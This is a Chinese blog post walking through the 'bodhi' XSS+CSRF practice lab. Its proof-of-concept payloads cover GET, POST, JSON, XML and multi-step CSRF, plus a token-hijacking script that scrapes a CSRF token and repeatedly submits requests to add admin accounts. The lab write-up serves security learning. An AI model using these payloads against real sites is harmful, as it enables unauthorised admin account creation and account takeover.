一个CSRF靶场练习

xss+csrf的漏洞测试小靶场
难度递升的6个题目,第6个的技巧还是有的:正则取数据,延时请求。
靶场下载地址:http://github.com/amolnaik4/bodhi

靶场逻辑:
一个留言板功能(另一个上传html文件作为漏洞点)作为漏洞点+后台一个进程(admin_bot.py)模拟管理员访问留言板的内容。

代码运行

由于代码原来是用docker方式的启动,因此需要对代码做些修改

  1. firefox?? or chrome and its driver in admin_bot.py
  2. uploads another_server的目录代码 调整 在 in admin_bot.py and server_8000.py

poc

直接给出的方式。

1.get csrf

能达到get请求就可以

<img src="/add_admin?username=admin111&password=admin111&isAdmin=yes&submit=Add User" />

2.post csrf

post请求可以有两种方式

  1. 虚拟表单提交
  2. 参考异步请求的方式
1. 虚拟表单

2. 异步请求
  1. 构造XMLHttpRequest对象
  2. 设置请求头
  3. 然后使用其发送异步请求

xmlhttp.setRequestHeader(“Content-Type”,“application/x-www-form-urlencoded;”);

<script language="javascript">
var url = "/add_admin";var xmlhttp;
if(window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}
xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState===4&&xmlhttp.status===200){var b=3;}};
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
var data="username=admin222&password=admin222&isAdmin=yes&submit=Add User";
xmlhttp.send(data);
</script>

3.JSON based CSRF

  1. 构造XMLHttpRequest对象
  2. 设置请求头
  3. 然后使用其发送异步请求

xmlhttp.setRequestHeader(“Content-type”,“application/json”)

<script language="javascript">var xmlhttp;if (window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}xmlhttp.onreadystatechange=function(){if (xmlhttp.readyState===4 && xmlhttp.status===200){var b=3;}};xmlhttp.open("POST","/add_admin",true);xmlhttp.setRequestHeader("Content-type","application/json");var data = {"username":"admin333","password":"admin333","isAdmin":"yes","submit":"Add User"};var data_json = JSON.stringify(data);xmlhttp.send(data_json);</script>

4.XML based CSRF

  1. 构造XMLHttpRequest对象
  2. 设置请求头
  3. 然后使用其发送异步请求

xmlhttp.setRequestHeader(“Content-Type”,“application/xml;”)

<script language="javascript">var url="/add_admin";var xmlhttp;if(window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState===4&&xmlhttp.status===200){var b=3;}};xmlhttp.open("POST",url,true);xmlhttp.setRequestHeader("Content-Type","application/xml;");var data='<Envelope xmlns="http://schemas.xmlsoap.org/soap/envelope/"><Body><AddAdminUser xmlns="tns"><username>admin444</username><password>admin444</password><isAdmin>yes</isAdmin></AddAdminUser></Body></Envelope>';xmlhttp.send(data);</script>

5.Multi-Step CSRF

多步骤:(在这里CSRF其实只用到了最后一步,这就和post-csrf一样了)

  1. 构造XMLHttpRequest对象
  2. 设置请求头
  3. 然后使用其发送异步请求

xmlhttp.setRequestHeader(“Content-Type”,“application/x-www-form-urlencoded;”)

    <script language="javascript">
    var xmlhttp;
    if (window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}
    else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}
    xmlhttp.onreadystatechange=function(){
    if (xmlhttp.readyState===4 && xmlhttp.status===200){var b=3;}};
    xmlhttp.open("POST","/add_admin",true);
    xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
    var data="isAdmin=yes&step=final&username=admin555&password=admin555";
    xmlhttp.send(data);</script>

6.CSRF Token Hijacking

前面的5个漏洞其实在多数情况不需要XSS漏洞的配合也可以成功
,而这里才是XSS+CSRF关键。防御csrf一个方法就是生成随机csrf-token,这里利用CSS漏洞获取csrf-token,然后构造请求添加账户成功。

  1. 构造XMLHttpRequest对象
  2. 设置请求头
  3. 1使用其发送get同步请求获取csrf-token
  4. 2使用其发送post异步请求/add_admin 添加用户
<input id="csrf_token" name="csrf_token" type="hidden" value="IjkxZDUwNzVlNDg4ODE3MGVkOTEzZTQ2OTU3YTQ4ZjgzMDdmNmUzZGIi.DmkYfA.5H9LrJrQ0jt7L2OJhww48VAmtNg">
<script language="javascript">var url = "/add_admin";
var xmlhttp;if(window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState===4&&xmlhttp.status===200){var b=3;}};
var csrf_token;
xmlhttp.open("GET",url,false);xmlhttp.setRequestHeader("Content-Type","text/html;");
xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState===4&&xmlhttp.status===200)
{var ss = /<input id="csrf_token" name="csrf_token" type="hidden" value="(.*?)">/g;
var css = ss.exec(xmlhttp.responseText);
csrf_token=css[1]}};
setInterval(function(){
xmlhttp.open("POST",url,false);xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
var data="csrf_token="+csrf_token+"&username=admin666&password=admin666&isAdmin=yes&submit=Add User";
xmlhttp.send(data);},3000)

//setTimeout("function",time) 
</script>
  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值